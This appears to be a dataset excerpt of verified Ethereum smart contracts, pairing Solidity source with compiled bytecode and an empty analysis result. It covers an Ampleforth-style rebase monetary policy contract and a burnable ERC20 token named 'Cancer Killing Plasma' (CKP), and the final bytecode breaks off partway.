OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity ^0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @title Various utilities useful for uint256.
*/
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IRebased {
function totalSupply() external view returns (uint256);
function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256);
}
interface IOracle {
function getData() external view returns (uint256, bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Rebased Monetary Supply Policy
* @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth.
* uFragments operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the uFragments ERC20 token in response to
* market oracles.
*/
contract MonetaryPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IRebased public rebased;
// Provides the current CPI as a 20 decimal fixed point number.
IOracle public cpiOracle;
// Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number.
IOracle public marketOracle;
// CPI value at the time of launch, as an 18 decimal fixed point number.
uint256 private baseCpi;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor(uint256 baseCpi_) public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 20;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
baseCpi = baseCpi_;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "Insufficient time has passed since last rebase");
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
* and targetRate is CpiOracleRate / baseCpi
*
*/
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) {
uint256 cpi;
bool cpiValid;
(cpi, cpiValid) = cpiOracle.getData();
require(cpiValid);
uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi);
uint256 exchangeRate;
bool rateValid;
(exchangeRate, rateValid) = marketOracle.getData();
require(rateValid);
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe();
}
return (cpi, exchangeRate, targetRate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
internal
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
// supplyDelta = totalSupply * (rate - targetRate) / targetRate
int256 targetRateSigned = targetRate.toInt256Safe();
return rebased.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the Rebased token governed.
* Can only be called once during initialization.
*
* @param rebased_ The address of the Rebased ERC20 token.
*/
function setRebased(IRebased rebased_)
external
onlyOwner
{
require(rebased == IRebased(0));
rebased = rebased_;
}
/**
* @notice Sets the reference to the CPI oracle.
* @param cpiOracle_ The address of the cpi oracle contract.
*/
function setCpiOracle(IOracle cpiOracle_)
external
onlyOwner
{
cpiOracle = cpiOracle_;
}
/**
* @notice Sets the reference to the market oracle.
* @param marketOracle_ The address of the market oracle contract.
*/
function setMarketOracle(IOracle marketOracle_)
external
onlyOwner
{
marketOracle = marketOracle_;
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063ab33c5ca11610071578063ab33c5ca14610334578063acd84e7314610368578063af14052c146103ac578063d94ad837146103b6578063f2fde38b146103d457610116565b80638da5cb5b1461027e5780638f32d59b146102b2578063900cf0cf146102d25780639e30bac5146102f057610116565b80633a93069b116100e95780633a93069b146101c05780633d6a46e5146101de578063609615281461022257806363f6d4c814610256578063715018a61461027457610116565b8063021018991461011b578063112045ba146101395780633148235a1461016d578063329ceacd146101a0575b600080fd5b610123610418565b6040518082815260200191505060405180910390f35b61014161041e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610175610444565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b6101a8610816565b60405180821515815260200191505060405180910390f35b6101c8610836565b6040518082815260200191505060405180910390f35b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061083c565b005b61022a610891565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61025e6108b7565b6040518082815260200191505060405180910390f35b61027c6108bd565b005b610286610974565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102ba61099d565b60405180821515815260200191505060405180910390f35b6102da6109f4565b6040518082815260200191505060405180910390f35b6103326004803603602081101561030657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109fa565b005b61033c610a4f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a75565b005b6103b4610b25565b005b6103be610cf4565b6040518082815260200191505060405180910390f35b610416600480360360208110156103ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfa565b005b60075481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633bc5de306040518163ffffffff1660e01b8152600401604080518083038186803b1580156104b457600080fd5b505afa1580156104c8573d6000803e3d6000fd5b505050506040513d60408110156104de57600080fd5b81019080805190602001909291908051906020019092919050505080925081935050508061050b57600080fd5b600061053860045461052a6012600a0a86610d1790919063ffffffff16565b610d5190919063ffffffff16565b9050600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633bc5de306040518163ffffffff1660e01b8152600401604080518083038186803b1580156105a457600080fd5b505afa1580156105b8573d6000803e3d6000fd5b505050506040513d60408110156105ce57600080fd5b8101908080519060200190929190805190602001909291905050508092508193505050806105fb57600080fd5b6012600a0a620f424002821115610619576012600a0a620f42400291505b60006106258385610d77565b9050610644610635600654610e91565b82610eae90919063ffffffff16565b905060008113801561072157506012600a0a620f42400260ff6001901b198161066957fe5b0461071f82600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d657600080fd5b505afa1580156106ea573d6000803e3d6000fd5b505050506040513d602081101561070057600080fd5b8101908080519060200190929190505050610eff90919063ffffffff16565b115b156107fe576107fb6107f6600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561079457600080fd5b505afa1580156107a8573d6000803e3d6000fd5b505050506040513d60208110156107be57600080fd5b81019080805190602001909291905050506012600a0a620f42400260ff6001901b19816107e757fe5b04610f1e90919063ffffffff16565b610e91565b90505b85838583995099509950995050505050505090919293565b600042610830600754600854610eff90919063ffffffff16565b10905090565b60085481565b61084461099d565b61084d57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6108c561099d565b6108ce57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60095481565b610a0261099d565b610a0b57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a7d61099d565b610a8657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610b2d610816565b610b82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611156602e913960400191505060405180910390fd5b42600881905550610b9f6001600954610eff90919063ffffffff16565b600981905550600080600080610bb3610444565b93509350935093506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637a43e23f600954846040518363ffffffff1660e01b81526004018083815260200182815260200192505050602060405180830381600087803b158015610c3c57600080fd5b505af1158015610c50573d6000803e3d6000fd5b505050506040513d6020811015610c6657600080fd5b810190808051906020019092919050505090506012600a0a620f42400260ff6001901b1981610c9157fe5b04811115610c9b57fe5b6009547f41d948a7f29cc695f5d4b3ec147f766bffa165ddd317470fbe05c86d0a9c3e04858785426040518085815260200184815260200183815260200182815260200194505050505060405180910390a25050505050565b60055481565b610d0261099d565b610d0b57600080fd5b610d1481610f3e565b50565b600080831415610d2a5760009050610d4b565b6000828402905082848281610d3b57fe5b0414610d4657600080fd5b809150505b92915050565b6000808211610d5f57600080fd5b6000828481610d6a57fe5b0490508091505092915050565b6000610d838383611035565b15610d915760009050610e8b565b6000610d9c83610e91565b9050610e8781610e79610dc084610db289610e91565b6110b690919063ffffffff16565b610e6b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2b57600080fd5b505afa158015610e3f573d6000803e3d6000fd5b505050506040513d6020811015610e5557600080fd5b8101908080519060200190929190505050610e91565b6110f890919063ffffffff16565b610eae90919063ffffffff16565b9150505b92915050565b600060ff6001901b19821115610ea657600080fd5b819050919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141580610ee4575060ff6001901b8314155b610eed57600080fd5b818381610ef657fe5b05905092915050565b600080828401905083811015610f1457600080fd5b8091505092915050565b600082821115610f2d57600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f7857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806110636012600a0a61105560055486610d1790919063ffffffff16565b610d5190919063ffffffff16565b90508284101580156110865750806110848486610f1e90919063ffffffff16565b105b806110ad575082841080156110ac5750806110aa8585610f1e90919063ffffffff16565b105b5b91505092915050565b6000808284039050600083121580156110cf5750838113155b806110e557506000831280156110e457508381135b5b6110ee57600080fd5b8091505092915050565b600080828402905060ff6001901b81141580611122575060ff6001901b831660ff6001901b851614155b61112b57600080fd5b600083148061114257508383828161113f57fe5b05145b61114b57600080fd5b809150509291505056fe496e73756666696369656e742074696d6520686173207061737365642073696e6365206c61737420726562617365a264697066735822122045f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,303 |
0xe2133afd46bc1f04d9ce0d1c29e738b8fa7f4584
|
pragma solidity 0.5.12;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) internal {
require(initialOwner != address(0), "Ownable: initial owner is the zero address");
_owner = initialOwner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_isOwner(msg.sender), "Ownable: caller is not the owner");
_;
}
function _isOwner(address account) internal view returns (bool) {
return account == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @dev Extension of `ERC20` that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Destroys `amount` tokens from msg.sender's balance.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
/**
* @title ApproveAndCall Interface.
* @dev ApproveAndCall system allows to communicate with smart-contracts.
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
/**
* @title The main project contract.
*/
contract CKPToken is ERC20Burnable, ERC20Detailed, Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// registered contracts (to prevent loss of token via transfer function)
mapping (address => bool) private _contracts;
constructor(address initialOwner, address recipient) public ERC20Detailed("Cancer Killing Plasma", "CKP", 6) Ownable(initialOwner) {
_mint(recipient, 30200e6);
}
/**
* @dev modified transfer function that allows to safely send tokens to smart-contract.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
/**
* @dev Allows to send tokens (via Approve and TransferFrom) to other smart-contract.
* @param spender Address of smart contracts to work with.
* @param amount Amount of tokens to send.
* @param extraData Any extra data.
*/
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
/**
* @dev Allows to register other smart-contracts (to prevent loss of tokens via transfer function).
* @param account Address of smart contracts to work with.
*/
function registerContract(address account) external onlyOwner {
require(_isContract(account), "Token: account is not a smart-contract");
_contracts[account] = true;
}
/**
* @dev Allows to unregister registered smart-contracts.
* @param account Address of smart contracts to work with.
*/
function unregisterContract(address account) external onlyOwner {
require(isRegistered(account), "Token: account is not registered yet");
_contracts[account] = false;
}
/**
* @dev Allows to any owner of the contract withdraw needed ERC20 token from this contract (for example promo or bounties).
* @param ERC20Token Address of ERC20 token.
* @param recipient Account to receive tokens.
*/
function withdrawERC20(address ERC20Token, address recipient) external onlyOwner {
uint256 amount = IERC20(ERC20Token).balanceOf(address(this));
IERC20(ERC20Token).safeTransfer(recipient, amount);
}
/**
* @return true if the address is registered as contract
* @param account Address to be checked.
*/
function isRegistered(address account) public view returns (bool) {
return _contracts[account];
}
/**
* @return true if `account` is a contract.
* @param account Address to be checked.
*/
function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c3c5a54711610071578063c3c5a547146103d1578063cae9ca51146103f7578063dd62ed3e146104b2578063f2fde38b146104e0578063fac2c621146105065761012c565b80638da5cb5b1461031f5780639456fbcc1461034357806395d89b4114610371578063a457c2d714610379578063a9059cbb146103a55761012c565b8063313ce567116100f4578063313ce56714610266578063395093511461028457806342966c68146102b057806370a08231146102cd57806379cc6790146102f35761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806322a5dde41461020857806323b872dd14610230575b600080fd5b61013961052c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b0381351690602001356105c2565b604080519115158252519081900360200190f35b6101f66105df565b60408051918252519081900360200190f35b61022e6004803603602081101561021e57600080fd5b50356001600160a01b03166105e5565b005b6101da6004803603606081101561024657600080fd5b506001600160a01b03813581169160208101359091169060400135610695565b61026e610722565b6040805160ff9092168252519081900360200190f35b6101da6004803603604081101561029a57600080fd5b506001600160a01b03813516906020013561072b565b61022e600480360360208110156102c657600080fd5b503561077f565b6101f6600480360360208110156102e357600080fd5b50356001600160a01b031661078c565b61022e6004803603604081101561030957600080fd5b506001600160a01b0381351690602001356107a7565b6103276107b5565b604080516001600160a01b039092168252519081900360200190f35b61022e6004803603604081101561035957600080fd5b506001600160a01b03813581169160200135166107c9565b6101396108a8565b6101da6004803603604081101561038f57600080fd5b506001600160a01b038135169060200135610909565b6101da600480360360408110156103bb57600080fd5b506001600160a01b038135169060200135610977565b6101da600480360360208110156103e757600080fd5b50356001600160a01b03166109ce565b6101da6004803603606081101561040d57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561043d57600080fd5b82018360208201111561044f57600080fd5b8035906020019184600183028401116401000000008311171561047157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506109ec945050505050565b6101f6600480360360408110156104c857600080fd5b506001600160a01b0381358116916020013516610aec565b61022e600480360360208110156104f657600080fd5b50356001600160a01b0316610b17565b61022e6004803603602081101561051c57600080fd5b50356001600160a01b0316610c0b565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105b85780601f1061058d576101008083540402835291602001916105b8565b820191906000526020600020905b8154815290